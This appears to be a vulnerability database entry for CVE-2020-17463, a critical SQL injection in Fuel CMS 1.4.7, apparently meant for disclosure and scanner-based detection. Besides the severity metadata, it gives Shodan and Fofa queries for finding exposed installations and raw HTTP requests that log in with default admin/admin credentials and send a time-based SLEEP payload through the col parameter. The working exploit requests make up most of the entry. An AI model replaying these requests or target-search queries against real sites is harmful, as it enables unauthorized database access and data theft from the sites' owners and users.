| Title | Fuel CMS 1.4.7 - SQL Injection |
|---|---|
| Author | Thirukrishnan |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage. |
| Remediation | Fixed in version 115 |
| CVSS Score | 9.8 |
| EPSS Score | 0.15269 |
| CVE ID | CVE-2020-17463 |
| CWE ID | CWE-89 |
| Shodan Query | http.title:"fuel cms" |
| Fofa Query | title="fuel cms" |
| Tags | time-based-sqli cve cve2020 packetstorm sqli fuel-cms kev thedaylightstudio vkev vuln |
FUEL CMS 1.4.7 allows SQL Injection via the col parameter to /pages/items, /permissions/items, or /navigation/items.
POST /fuel/login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Referer: /
Accept-Encoding: gzip
Connection: close
user_name=admin&password=admin&Login=Login&forward=
GET /fuel/login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Accept-Encoding: gzip
Connection: close
GET /fuel/pages/items/?search_term&published&layout&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(6)))ULQV)&fuel_inline=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; es-es) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Referer: /
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
Connection: close
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-17463.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-17463.pcap
N/AN/A